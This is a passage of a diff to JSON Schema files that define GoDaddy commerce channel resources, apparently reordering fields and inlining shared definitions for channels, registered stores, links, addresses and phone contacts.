"string", - "description": "Additional information that represents the type of the channel", - "maxLength": 256 + "description": "A request-related [HATEOAS link](https://datatracker.ietf.org/doc/html/draft-handrews-json-schema-hyperschema-02).", + "properties": { + "href": { + "description": "The complete target URL, or link, to use in combination with the method to make the related call, as defined by [RFC 6570 - URI Template](https://tools.ietf.org/html/rfc6570), with the addition of the `$`, `(`, and `)` characters for pre-processing. The `href` is the key HATEOAS component that links a completed call with a subsequent call.", + "format": "uri", + "type": "string" + }, + "method": { + "description": "The method to use to request the link target. For example, for HTTP, this might be `GET` or `DELETE`.", + "type": "string" + }, + "rel": { + "description": "The [link relation type](https://tools.ietf.org/html/rfc5988#section-4), which is an identifier for a link that unambiguously describes the semantics of the link. For values, see [Link Relationship Types](https://www.iana.org/assignments/link-relations/link-relations.xhtml).", + "type": "string" + }, + "submissionMediaType": { + "default": "application/json", + "description": "The media type with which to submit data with the request.", + "type": "string" + }, + "submissionSchema": { + "description": "The schema that describes the request data." + }, + "targetMediaType": { + "description": "The [RFC 2046-defined media type](https://www.ietf.org/rfc/rfc2046.txt) that describes the link target.", + "type": "string" + }, + "targetSchema": { + "description": "The schema that describes the link target." + }, + "title": { + "description": "The link title.", + "type": "string" + } + }, + "required": [ + "rel", + "href" + ], + "title": "Link Description", + "type": "object" }, - "status": { - "$id": "https://godaddy.com/schemas/commerce/channel-status.v1", + "title": "Links" + }, + "name": { + "description": "Name of the channel", + "maxLength": 128, + "type": "string" + }, + "registeredStores": { + "description": "List of stores that are registered to this channel", + "items": { + "$id": "https://godaddy.com/schemas/commerce/registered-store.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "ChannelStatus", - "type": "string", - "description": "Channel Status", - "enum": [ - "PENDING_SETUP", - "ACTIVE", - "INACTIVE", - "ERROR", - "REMOVED" + "description": "Resource representing Store registration with Channel", + "properties": { + "default": { + "default": false, + "description": "If this is a default channel for the store", + "type": "boolean" + }, + "links": { + "$id": "https://godaddy.com/schemas/commerce/link.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "HATEOAS links", + "items": { + "$id": "https://godaddy.com/schema/common/link-description.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A request-related [HATEOAS link](https://datatracker.ietf.org/doc/html/draft-handrews-json-schema-hyperschema-02).", + "properties": { + "href": { + "description": "The complete target URL, or link, to use in combination with the method to make the related call, as defined by [RFC 6570 - URI Template](https://tools.ietf.org/html/rfc6570), with the addition of the `$`, `(`, and `)` characters for pre-processing. The `href` is the key HATEOAS component that links a completed call with a subsequent call.", + "format": "uri", + "type": "string" + }, + "method": { + "description": "The method to use to request the link target. For example, for HTTP, this might be `GET` or `DELETE`.", + "type": "string" + }, + "rel": { + "description": "The [link relation type](https://tools.ietf.org/html/rfc5988#section-4), which is an identifier for a link that unambiguously describes the semantics of the link. For values, see [Link Relationship Types](https://www.iana.org/assignments/link-relations/link-relations.xhtml).", + "type": "string" + }, + "submissionMediaType": { + "default": "application/json", + "description": "The media type with which to submit data with the request.", + "type": "string" + }, + "submissionSchema": { + "description": "The schema that describes the request data." + }, + "targetMediaType": { + "description": "The [RFC 2046-defined media type](https://www.ietf.org/rfc/rfc2046.txt) that describes the link target.", + "type": "string" + }, + "targetSchema": { + "description": "The schema that describes the link target." + }, + "title": { + "description": "The link title.", + "type": "string" + } + }, + "required": [ + "rel", + "href" + ], + "title": "Link Description", + "type": "object" + }, + "title": "Links" + }, + "status": { + "$id": "https://godaddy.com/schemas/commerce/registered-store-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "default": "ENABLED", + "description": "Registered Store Status", + "enum": [ + "ENABLED", + "DISABLED" + ], + "title": "RegisteredStoreStatus", + "type": "string" + }, + "storeId": { + "$id": "https://godaddy.com/schemas/commerce/channelapi/Id.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "unique identifier", + "example": "id", + "format": "uuid", + "pattern": "[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}", + "title": "Id", + "type": "string" + } + }, + "required": [ + "storeId" ], - "default": "ACTIVE" + "title": "RegisteredStore", + "type": "object" }, - "registeredStores": { - "description": "List of stores that are registered to this channel", - "items": { - "$id": "https://godaddy.com/schemas/commerce/registered-store.v1", + "type": "array" + }, + "status": { + "$id": "https://godaddy.com/schemas/commerce/channel-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "default": "ACTIVE", + "description": "Channel Status", + "enum": [ + "PENDING_SETUP", + "ACTIVE", + "INACTIVE", + "ERROR", + "REMOVED" + ], + "title": "ChannelStatus", + "type": "string" + }, + "subType": { + "description": "Additional information that represents the type of the channel", + "maxLength": 256, + "type": "string" + }, + "updatedAt": { + "$id": "https://godaddy.com/schemas/common/date-time.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A date and time, in [Internet date and time format](https://tools.ietf.org/html/rfc3339#section-5.6). Note: The regular expression provides static schematic guidance but does not reject all invalid dates.", + "maxLength": 64, + "minLength": 20, + "pattern": "^[0-9]{4}-(0[1-9]|1[0-2])-(0[1-9]|[1-2][0-9]|3[0-1])[T,t]([0-1][0-9]|2[0-3]):[0-5][0-9]:([0-5][0-9]|60)([.][0-9]+)?([Zz]|[+-][0-9]{2}:[0-9]{2})$", + "type": "string" + } + }, + "required": [ + "name" + ], + "title": "Basic Channel", + "type": "object" + } + ], + "description": "Resource representing a Retail Channel", + "properties": { + "location": { + "$defs": { + "RetailLocationContact": { + "properties": { + "phone": { + "$id": "https://godaddy.com/schema/common/phone.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "RegisteredStore", - "type": "object", - "description": "Resource representing Store registration with Channel", + "description": "The phone number, in its canonical international [E.164 numbering plan format](https://www.itu.int/rec/T-REC-E.164/en).", "properties": { - "storeId": { - "description": "Id of the store that can be used to reference", - "$id": "https://godaddy.com/schemas/commerce/channelapi/Id.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Id", - "type": "string", - "format": "uuid", - "example": "id", - "pattern": "[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}" - }, - "status": { - "description": "Status of the registration", - "$id": "https://godaddy.com/schemas/commerce/registered-store-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "RegisteredStoreStatus", - "type": "string", - "enum": [ - "ENABLED", - "DISABLED" - ], - "default": "ENABLED" - }, - "default": { - "type": "boolean", - "description": "If this is a default channel for the store", - "default": false - }, - "links": { - "description": "Links pointing to external resource", - "readOnly": true, - "$id": "https://godaddy.com/schemas/commerce/link.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Links", - "items": { - "$id": "https://godaddy.com/schema/common/link-description.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Link Description", - "type": "object", - "description": "A request-related [HATEOAS link](https://datatracker.ietf.org/doc/html/draft-handrews-json-schema-hyperschema-02).", - "properties": { - "href": { - "description": "The complete target URL, or link, to use in combination with the method to make the related call, as defined by [RFC 6570 - URI Template](https://tools.ietf.org/html/rfc6570), with the addition of the `$`, `(`, and `)` characters for pre-processing. The `href` is the key HATEOAS component that links a completed call with a subsequent call.", - "type": "string", - "format": "uri" - }, - "rel": { - "description": "The [link relation type](https://tools.ietf.org/html/rfc5988#section-4), which is an identifier for a link that unambiguously describes the semantics of the link. For values, see [Link Relationship Types](https://www.iana.org/assignments/link-relations/link-relations.xhtml).", - "type": "string" - }, - "title": { - "description": "The link title.", - "type": "string" - }, - "targetMediaType": { - "description": "The [RFC 2046-defined media type](https://www.ietf.org/rfc/rfc2046.txt) that describes the link target.", - "type": "string" - }, - "targetSchema": { - "description": "The schema that describes the link target." - }, - "method": { - "description": "The method to use to request the link target. For example, for HTTP, this might be `GET` or `DELETE`.", - "type": "string" - }, - "submissionMediaType": { - "description": "The media type with which to submit data with the request.", - "type": "string", - "default": "application/json" - }, - "submissionSchema": { - "description": "The schema that describes the request data." - } - }, - "required": [ - "rel", - "href" - ] - } + "countryCode": { + "description": "The country calling code (CC), in its canonical international [E.164 numbering plan format](https://www.itu.int/rec/T-REC-E.164/en). The combined length of the CC and the national number must not be greater than 15 digits. The national number consists of a national destination code (NDC) and subscriber number (SN).", + "maxLength": 3, + "minLength": 1, + "pattern": "^[0-9]{1,3}?$", + "type": "string" + }, + "extensionNumber": { + "description": "The extension number.", + "maxLength": 15, + "minLength": 1, + "pattern": "^[0-9]{1,15}?$", + "type": "string" + }, + "nationalNumber": { + "description": "The national number, in its canonical international [E.164 numbering plan format](https://www.itu.int/rec/T-REC-E.164/en). The combined length of the country calling code (CC) and the national number must not be greater than 15 digits. The national number consists of a national destination code (NDC) and subscriber number (SN).", + "maxLength": 14, + "minLength": 1, + "pattern": "^[0-9]{1,14}?$", + "type": "string" } }, "required": [ - "storeId" - ] + "countryCode", + "nationalNumber" + ], + "title": "Phone", + "type": "object" }, - "type": "array" - }, - "links": { - "description": "Links pointing to external resource", - "readOnly": true, - "$id": "https://godaddy.com/schemas/commerce/link.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Links", - "items": { - "$id": "https://godaddy.com/schema/common/link-description.v1", + "type": { + "$id": "https://godaddy.com/schema/common/phone-type.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Link Description", - "type": "object", - "description": "A request-related [HATEOAS link](https://datatracker.ietf.org/doc/html/draft-handrews-json-schema-hyperschema-02).", + "description": "The phone type.", + "enum": [ + "FAX", + "HOME", + "MOBILE", + "OTHER", + "WORK" + ], + "title": "Phone type", + "type": "string" + } + }, + "title": "Retail Location Contact", + "type": "object" + } + }, + "$id": "https://godaddy.com/schemas/commerce/retail-channel-location.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Retail Location", + "properties": { + "address": { + "$id": "https://godaddy.com/schema/common/address.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "An internationalized postal address. Maps to [AddressValidationMetadata](https://github.com/googlei18n/libaddressinput/wiki/AddressValidationMetadata) from Google's Address Data Service and HTML 5.1 [Autofilling form controls: the autocomplete attribute](https://www.w3.org/TR/html51/sec-forms.html#autofilling-form-controls-the-autocomplete-attribute).", + "properties": { + "addressDetails": { + "description": "The non-portable additional address details that are sometimes needed for compliance, risk, or other scenarios where fine-grain address information might be needed. Not portable with common third-party and open-source address libraries and redundant with core fields. For example, `address.addressLine1` is usually a combination of `addressDetails.streetNumber` and `streetName` and `streetType`.", "properties": { - "href": { - "description": "The complete target URL, or link, to use in combination with the method to make the related call, as defined by [RFC 6570 - URI Template](https://tools.ietf.org/html/rfc6570), with the addition of the `$`, `(`, and `)` characters for pre-processing. The `href` is the key HATEOAS component that links a completed call with a subsequent call.", - "type": "string", - "format": "uri" - }, - "rel": { - "description": "The [link relation type](https://tools.ietf.org/html/rfc5988#section-4), which is an identifier for a link that unambiguously describes the semantics of the link. For values, see [Link Relationship Types](https://www.iana.org/assignments/link-relations/link-relations.xhtml).", + "addressType": { + "description": "The type of address. Single character representation of a type. For example: 'B' for building, 'F' for organization, 'G' for general delivery, 'H' for high-rise, 'L' for large-volume organization, 'P' for Post Office box or delivery service, 'R' for rural route, 'S' for street, 'U' for unidentified address.", + "maxLength": 1, "type": "string" }, - "title": { - "description": "The link title.", + "buildingName": { + "description": "A named locations that represents the premise. Usually a building name or number or collection of buildings with a common name or number. For example, Craven House.", + "maxLength": 100, "type": "string" }, - "targetMediaType": { - "description": "The [RFC 2046-defined media type](https://www.ietf.org/rfc/rfc2046.txt) that describes the link target.", + "deliveryService": { + "description": "The delivery service. Post office box, bag number, or post office name.", + "maxLength": 100, "type": "string" }, - "targetSchema": { - "description": "The schema that describes the link target." + "geoCoordinates": { + "$id": "https://godaddy.com/schema/common/geo-coordinates.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "The geographic latitude and longitude coordinates.", + "properties": { + "latitude": { + "pattern": "^-?([1-8]?[1-9]|[1-9]0)\\.{1}\\d{1,6}", + "type": "string" + }, + "longitude": { + "pattern": "^-?([1]?[1-7][1-9]|[1]?[1-8][0]|[1-9]?[0-9])\\.{1}\\d{1,6}", + "type": "string" + } + }, + "required": [ + "longitude", + "latitude" + ], + "title": "Geographic Coordinates", + "type": "object" }, - "method": { - "description": "The method to use to request the link target. For example, for HTTP, this might be `GET` or `DELETE`.", + "streetName": { + "description": "The street name. Just `Drury` in `Drury Lane`.", + "maxLength": 100, "type": "string" }, - "submissionMediaType": { - "description": "The media type with which to submit data with the request.", - "type": "string", - "default": "application/json" + "streetNumber": { + "description": "The street number.", + "maxLength": 100, + "type": "string" }, - "submissionSchema": { - "description": "The schema that describes the request data." + "streetType": { + "description": "The street type. For example, avenue, boulevard, road, or expressway.", + "maxLength": 100, + "type": "string" + }, + "subBuilding": { + "description": "The first-order entity below a named building or location that represents the sub-premise. Usually a single building within a collection of buildings with a common name. Can be a flat, story, floor, room, or apartment.", + "maxLength": 100, + "type": "string" } }, - "required": [ - "rel", - "href" - ] + "title": "Address Details", + "type": "object" + }, + "addressLine1": { + "description": "The first line of the address. For example, number and street name. For example, `3032 Bunker Hill Lane`. Required for compliance and risk checks. Must contain the full address.", + "maxLength": 300, + "type": "string" + }, + "addressLine2": { + "description": "The second line of the address. For example, office suite or apartment number.", + "maxLength": 300, + "type": "string" + }, + "addressLine3": { + "description": "The third line of the address, if needed. For example, a street complement for Brazil; direction text, such as `next to Opera House`; or a landmark reference in an Indian address.", + "maxLength": 100, + "type": "string" + }, + "adminArea1": { + "description": "The highest level sub-division in a country, which is usually a province, state, or ISO-3166-2 subdivision; formatted for postal delivery. For example, `CA` and not `California`. For example, for UK - A county; for USs - A state; for Canada - A province; for Japan - A prefecture; for Switzerland - A kanton.", + "maxLength": 300, + "type": "string" + }, + "adminArea2": { + "description": "A city, town, or village. Smaller than `adminArea1`.", + "maxLength": 300, + "type": "string" + }, + "adminArea3": { + "description": "A sub-locality, suburb, neighborhood, or district. Smaller than `adminArea2`. For example, in Brazil - Suburb, bairro, or neighborhood; in India - Sub-locality or district. Street name information may not always available and a sub-locality or district can reference a very small area.", + "maxLength": 100, + "type": "string" + }, + "adminArea4": { + "description": "The neighborhood, ward, or district. Smaller than `adminArea3` or `subLocality`. For example, the postal sorting code that is used in Guernsey and many French territories, such as French Guiana; the fine-grained administrative levels in China.", + "maxLength": 100, + "type": "string" + }, + "countryCode": { + "$id": "https://godaddy.com/schemas/common-types/country-code.v1", + "$schema": "http://json-schema.org/draft/2020-12/schema", + "description": "A two-character ISO 3166-1 code that identifies the country or region.", + "maxLength": 2, + "minLength": 2, + "pattern": "^([A-Z]{2}|C2)$", + "type": "string" + }, + "postalCode": { + "description": "The postal code, which is the zip code or equivalent. Typically required for countries that have a postal code or an equivalent. See [Postal code](https://en.wikipedia.org/wiki/Postal_code).", + "maxLength": 60, + "type": "string" } }, - "createdAt": { - "description": "The date and time the channel was created.", - "readOnly": true, - "$id": "https://godaddy.com/schemas/common/date-time.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "type": "string", - "minLength": 20, - "maxLength": 64, - "pattern": "^[0-9]{4}-(0[1-9]|1[0-2])-(0[1-9]|[1-2][0-9]|3[0-1])[T,t]([0-1][0-9]|2[0-3]):[0-5][0-9]:([0-5][0-9]|60)([.][0-9]+)?([Zz]|[+-][0-9]{2}:[0-9]{2})$" - }, - "updatedAt": { - "description": "The date and time the channel was updated.", - "readOnly": true, - "$id": "https://godaddy.com/schemas/common/date-time.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "type": "string", - "minLength": 20, - "maxLength": 64, - "pattern": "^[0-9]{4}-(0[1-9]|1[0-2])-(0[1-9]|[1-2][0-9]|3[0-1])[T,t]([0-1][0-9]|2[0-3]):[0-5][0-9]:([0-5][0-9]|60)([.][0-9]+)?([Zz]|[+-][0-9]{2}:[0-9]{2})$" - } + "required": [ + "countryCode" + ], + "title": "Postal Address (Medium-Grained)", + "type": "object" }, - "required": [ - "name" - ] - } - ], - "properties": { - "location": { - "description": "Location details of the retail channel", - "$id": "https://godaddy.com/schemas/commerce/retail-channel-location.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Retail Location", - "type": "object", - "$defs": { - "RetailLocationContact": { - "type": "object", - "title": "Retail Location Contact", + "alias": { + "description": "Alias for the location", + "maxLength": 128, + "type": "string" + }, + "contacts": { + "description": "Contact details of the location", + "items": { "properties": { - "type": { - "description": "Type of the contact phone", - "$id": "https://godaddy.com/schema/common/phone-type.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "type": "string", - "title": "Phone type", - "enum": [ - "FAX", - "HOME", - "MOBILE", - "OTHER", - "WORK" - ] - }, "phone": { - "description": "Phone number details", - "$id": "https://godaddy.com/schema/common/phone.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "type": "object", - "title": "Phone", - "properties": { - "countryCode": { - "type": "string", - "description": "The country calling code (CC), in its canonical international [E.164 numbering plan format](https://www.itu.int/rec/T-REC-E.164/en). The combined length of the CC and the national number must not be greater than 15 digits. The national number consists of a national destination code (NDC) and subscriber number (SN).", - "minLength": 1, - "maxLength": 3, - "pattern": "^[0-9]{1,3}?$" - }, - "nationalNumber": { - "type": "string", - "description": "The national number, in its canonical international [E.164 numbering plan format](https://www.itu.int/rec/T-REC-E.164/en). The combined length of the country calling code (CC) and the national number must not be greater than 15 digits. The national number consists of a national destination code (NDC) and subscriber number (SN).", - "minLength": 1, - "maxLength": 14, - "pattern": "^[0-9]{1,14}?$" - }, - "extensionNumber": { - "type": "string", - "description": "The extension number.", - "minLength": 1, - "maxLength": 15, - "pattern": "^[0-9]{1,15}?$" - } - }, - "required": [ - "countryCode", - "nationalNumber" - ] + "$ref": "../common-types/phone.json", + "description": "Phone number details" + }, + "type": { + "$ref": "../common-types/phone-type.json", + "description": "Type of the contact phone" } - } - } + }, + "title": "Retail Location Contact", + "type": "object" + }, + "type": "array" + } + }, + "title": "Retail Location", + "type": "object" + } + }, + "title": "Retail Channel", + "type": "object" + }, + { + "$id": "https://godaddy.com/schemas/commerce/online-channel.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "allOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/basic-channel.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Resource representing the Basic Channel", + "properties": { + "channelId": { + "$id": "https://godaddy.com/schemas/commerce/channelapi/Id.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "unique identifier", + "example": "id", + "format": "uuid", + "pattern": "[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}", + "title": "Id", + "type": "string" + }, + "channelProviderId": { + "$id": "https://godaddy.com/schemas/commerce/channelapi/Id.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "unique identifier", + "example": "id", + "format": "uuid", + "pattern": "[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}", + "title": "Id", + "type": "string" }, - "properties": { - "alias": { - "type": "string", - "maxLength": 128, - "description": "Alias for the location" - }, - "address": { - "description": "Physical address of the retail location", - "$id": "https://godaddy.com/schema/common/address.v1", + "createdAt": { + "$id": "https://godaddy.com/schemas/common/date-time.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A date and time, in [Internet date and time format](https://tools.ietf.org/html/rfc3339#section-5.6). Note: The regular expression provides static schematic guidance but does not reject all invalid dates.", + "maxLength": 64, + "minLength": 20, + "pattern": "^[0-9]{4}-(0[1-9]|1[0-2])-(0[1-9]|[1-2][0-9]|3[0-1])[T,t]([0-1][0-9]|2[0-3]):[0-5][0-9]:([0-5][0-9]|60)([.][0-9]+)?([Zz]|[+-][0-9]{2}:[0-9]{2})$", + "type": "string" + }, + "externalChannelId": { + "description": "External identifier of the channel", + "maxLength": 64, + "type": "string" + }, + "links": { + "$id": "https://godaddy.com/schemas/commerce/link.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "HATEOAS links", + "items": { + "$id": "https://godaddy.com/schema/common/link-description.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "type": "object", - "title": "Postal Address (Medium-Grained)", + "description": "A request-related [HATEOAS link](https://datatracker.ietf.org/doc/html/draft-handrews-json-schema-hyperschema-02).", "properties": { - "addressLine1": { - "type": "string", - "description": "The first line of the address. For example, number and street name. For example, `3032 Bunker Hill Lane`. Required for compliance and risk checks. Must contain the full address.", - "maxLength": 300 - }, - "addressLine2": { - "type": "string", - "description": "The second line of the address. For example, office suite or apartment number.", - "maxLength": 300 - }, - "addressLine3": { - "type": "string", - "description": "The third line of the address, if needed. For example, a street complement for Brazil; direction text, such as `next to Opera House`; or a landmark reference in an Indian address.", - "maxLength": 100 + "href": { + "description": "The complete target URL, or link, to use in combination with the method to make the related call, as defined by [RFC 6570 - URI Template](https://tools.ietf.org/html/rfc6570), with the addition of the `$`, `(`, and `)` characters for pre-processing. The `href` is the key HATEOAS component that links a completed call with a subsequent call.", + "format": "uri", + "type": "string" }, - "adminArea4": { - "description": "The neighborhood, ward, or district. Smaller than `adminArea3` or `subLocality`. For example, the postal sorting code that is used in Guernsey and many French territories, such as French Guiana; the fine-grained administrative levels in China.", - "type": "string", - "maxLength": 100 + "method": { + "description": "The method to use to request the link target. For example, for HTTP, this might be `GET` or `DELETE`.", + "type": "string" }, - "adminArea3": { - "description": "A sub-locality, suburb, neighborhood, or district. Smaller than `adminArea2`. For example, in Brazil - Suburb, bairro, or neighborhood; in India - Sub-locality or district. Street name information may not always available and a sub-locality or district can reference a very small area.", - "type": "string", - "maxLength": 100 + "rel": { + "description": "The [link relation type](https://tools.ietf.org/html/rfc5988#section-4), which is an identifier for a link that unambiguously describes the semantics of the link. For values, see [Link Relationship Types](https://www.iana.org/assignments/link-relations/link-relations.xhtml).", + "type": "string" }, - "adminArea2": { - "description": "A city, town, or village. Smaller than `adminArea1`.", - "type": "string", - "maxLength": 300 + "submissionMediaType": { + "default": "application/json", + "description": "The media type with which to submit data with the request.", + "type": "string" }, - "adminArea1": { - "type": "string", - "description": "The highest level sub-division in a country, which is usually a province, state, or ISO-3166-2 subdivision; formatted for postal delivery. For example, `CA` and not `California`. For example, for UK - A county; for USs - A state; for Canada - A province; for Japan - A prefecture; for Switzerland - A kanton.", - "maxLength": 300 + "submissionSchema": { + "description": "The schema that describes the request data." }, - "postalCode": { - "type": "string", - "description": "The postal code, which is the zip code or equivalent. Typically required for countries that have a postal code or an equivalent. See [Postal code](https://en.wikipedia.org/wiki/Postal_code).", - "maxLength": 60 + "targetMediaType": { + "description": "The [RFC 2046-defined media type](https://www.ietf.org/rfc/rfc2046.txt) that describes the link target.", + "type": "string" }, - "countryCode": { - "description": "The [two-character ISO 3166-1 code](https://en.wikipedia.org/wiki/ISO_3166-1) that identifies the country or region. Note: The country code for Great Britain is `GB` and not `UK` as used in the top-level domain names for that country. Use country code `C2` for China for comparable uncontrolled price (CUP) method, bank-card, and cross-border transactions.", - "$id": "https://godaddy.com/schemas/common-types/country-code.v1", - "$schema": "http://json-schema.org/draft/2020-12/schema", - "type": "string", - "maxLength": 2, - "minLength": 2, - "pattern": "^([A-Z]{2}|C2)$" + "targetSchema": { + "description": "The schema that describes the link target." }, - "addressDetails": { - "type": "object", - "title": "Address Details", - "description": "The non-portable additional address details that are sometimes needed for compliance, risk, or other scenarios where fine-grain address information might be needed. Not portable with common third-party and open-source address libraries and redundant with core fields. For example, `address.addressLine1` is usually a combination of `addressDetails.streetNumber` and `streetName` and `streetType`.", - "properties": { - "streetNumber": { - "description": "The street number.", - "type": "string", - "maxLength": 100 - }, - "streetName": { - "description": "The street name. Just `Drury` in `Drury Lane`.", - "type": "string", - "maxLength": 100 - }, - "streetType": { - "description": "The street type. For example, avenue, boulevard, road, or expressway.", - "type": "string", - "maxLength": 100 - }, - "deliveryService": { - "description": "The delivery service. Post office box, bag number, or post office name.", - "type": "string", - "maxLength": 100 - }, - "buildingName": { - "description": "A named locations that represents the premise. Usually a building name or number or collection of buildings with a common name or number. For example, Craven House.", - "type": "string", - "maxLength": 100 - }, - "subBuilding": { - "description": "The first-order entity below a named building or location that represents the sub-premise. Usually a single building within a collection of buildings with a common name. Can be a flat, story, floor, room, or apartment.", - "type": "string", - "maxLength": 100 - }, - "addressType": { - "description": "The type of address. Single character representation of a type. For example: 'B' for building, 'F' for organization, 'G' for general delivery, 'H' for high-rise, 'L' for large-volume organization, 'P' for Post Office box or delivery service, 'R' for rural route, 'S' for street, 'U' for unidentified address.", - "type": "string", - "maxLength": 1 - }, - "geoCoordinates": { - "description": "The latitude and longitude of the address. For example, `37.42242` and `-122.08585`.", - "$id": "https://godaddy.com/schema/common/geo-coordinates.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "type": "object", - "title": "Geographic Coordinates", - "properties": { - "longitude": { - "type": "string", - "pattern": "^-?([1]?[1-7][1-9]|[1]?[1-8][0]|[1-9]?[0-9])\\.{1}\\d{1,6}" - }, - "latitude": { - "type": "string", - "pattern": "^-?([1-8]?[1-9]|[1-9]0)\\.{1}\\d{1,6}" - } - }, - "required": [ - "longitude", - "latitude" - ] - } - } + "title": { + "description": "The link title.", + "type": "string" } }, "required": [ - "countryCode" - ] + "rel", + "href" + ], + "title": "Link Description", + "type": "object" }, - "contacts": { - "type": "array", - "description": "Contact details of the location", - "items": { - "type": "object", - "title": "Retail Location Contact", - "properties": { - "type": { - "description": "Type of the contact phone", - "$id": "https://godaddy.com/schema/common/phone-type.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "type": "string", - "title": "Phone type", - "enum": [ - "FAX", - "HOME", - "MOBILE", - "OTHER", - "WORK" - ] - }, - "phone": { - "description": "Phone number details", - "$id": "https://godaddy.com/schema/common/phone.v1", + "title": "Links" + }, + "name": { + "description": "Name of the channel", + "maxLength": 128, + "type": "string" + }, + "registeredStores": { + "description": "List of stores that are registered to this channel", + "items": { + "$id": "https://godaddy.com/schemas/commerce/registered-store.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Resource representing Store registration with Channel", + "properties": { + "default": { + "default": false, + "description": "If this is a default channel for the store", + "type": "boolean" + }, + "links": { + "$id": "https://godaddy.com/schemas/commerce/link.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "HATEOAS links", + "items": { + "$id": "https://godaddy.com/schema/common/link-description.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "type": "object", - "title": "Phone", + "description": "A request-related [HATEOAS link](https://datatracker.ietf.org/doc/html/draft-handrews-json-schema-hyperschema-02).", "properties": { - "countryCode": { - "type": "string", - "description": "The country calling code (CC), in its canonical international [E.164 numbering plan format](https://www.itu.int/rec/T-REC-E.164/en). The combined length of the CC and the national number must not be greater than 15 digits. The national number consists of a national destination code (NDC) and subscriber number (SN).", - "minLength": 1, - "maxLength": 3, - "pattern": "^[0-9]{1,3}?$" + "href": { + "description": "The complete target URL, or link, to use in combination with the method to make the related call, as defined by [RFC 6570 - URI Template](https://tools.ietf.org/html/rfc6570), with the addition of the `$`, `(`, and `)` characters for pre-processing. The `href` is the key HATEOAS component that links a completed call with a subsequent call.", + "format": "uri", + "type": "string" }, - "nationalNumber": { - "type": "string", - "description": "The national number, in its canonical international [E.164 numbering plan format](https://www.itu.int/rec/T-REC-E.164/en). The combined length of the country calling code (CC) and the national number must not be greater than 15 digits. The national number consists of a national destination code (NDC) and subscriber number (SN).", - "minLength": 1, - "maxLength": 14, - "pattern": "^[0-9]{1,14}?$" + "method": { + "description": "The method to use to request the link target. For example, for HTTP, this might be `GET` or `DELETE`.", + "type": "string" }, - "extensionNumber": { - "type": "string", - "description": "The extension number.", - "minLength": 1, - "maxLength": 15, - "pattern": "^[0-9]{1,15}?$" - } - }, - "required": [ - "countryCode", - "nationalNumber" - ] - } - } - } - } - } - } - } - }, - { - "$id": "https://godaddy.com/schemas/commerce/online-channel.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Online Channel", - "type": "object", - "description": "Resource representing the Online Channel", - "allOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/basic-channel.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Basic Channel", - "type": "object", - "description": "Resource representing the Basic Channel", - "properties": { - "channelId": { - "description": "Globally unique Id of the channel that can be used to reference", - "$id": "https://godaddy.com/schemas/commerce/channelapi/Id.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Id", - "type": "string", - "format": "uuid", - "example": "id", - "pattern": "[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}" - }, - "name": { - "type": "string", - "description": "Name of the channel", - "maxLength": 128 - }, - "channelProviderId": { - "description": "Identifier of the channel provider (defaulted based on the caller's auth credentials)", - "$id": "https://godaddy.com/schemas/commerce/channelapi/Id.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Id", - "type": "string", - "format": "uuid", - "example": "id", - "pattern": "[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}" - }, - "externalChannelId": { - "type": "string", - "description": "External identifier of the channel", - "maxLength": 64 - }, - "subType": { - "type": "string", - "description": "Additional information that represents the type of the channel", - "maxLength": 256 - }, - "status": { - "$id": "https://godaddy.com/schemas/commerce/channel-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "ChannelStatus", - "type": "string", - 